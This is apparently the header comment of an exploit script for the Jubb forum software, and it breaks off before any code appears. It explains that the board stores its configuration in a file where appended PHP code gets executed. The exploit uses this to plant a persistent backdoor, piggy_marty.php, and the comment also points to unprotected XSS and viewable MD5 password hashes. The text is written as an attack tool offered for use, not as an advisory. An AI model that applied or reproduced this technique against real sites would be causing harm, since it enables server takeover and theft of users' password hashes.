/*
Jubb is a quite insecure board..
No XSS prevention, free view MD5 hash of the users passwords and more..

after the DevilTeam Deface Exploit something more usefull ;)

JUBB save all the topics into small files with the same exstensions,
even the forumdata.JaxSQL wich contains all the forum configuration variables;

nothing easyer than append some PHP code into the configuration file and execute it;

this exploit create a piggy_marty.php backdoor, wich you can use directly running again the program;

sorry for my bad english,
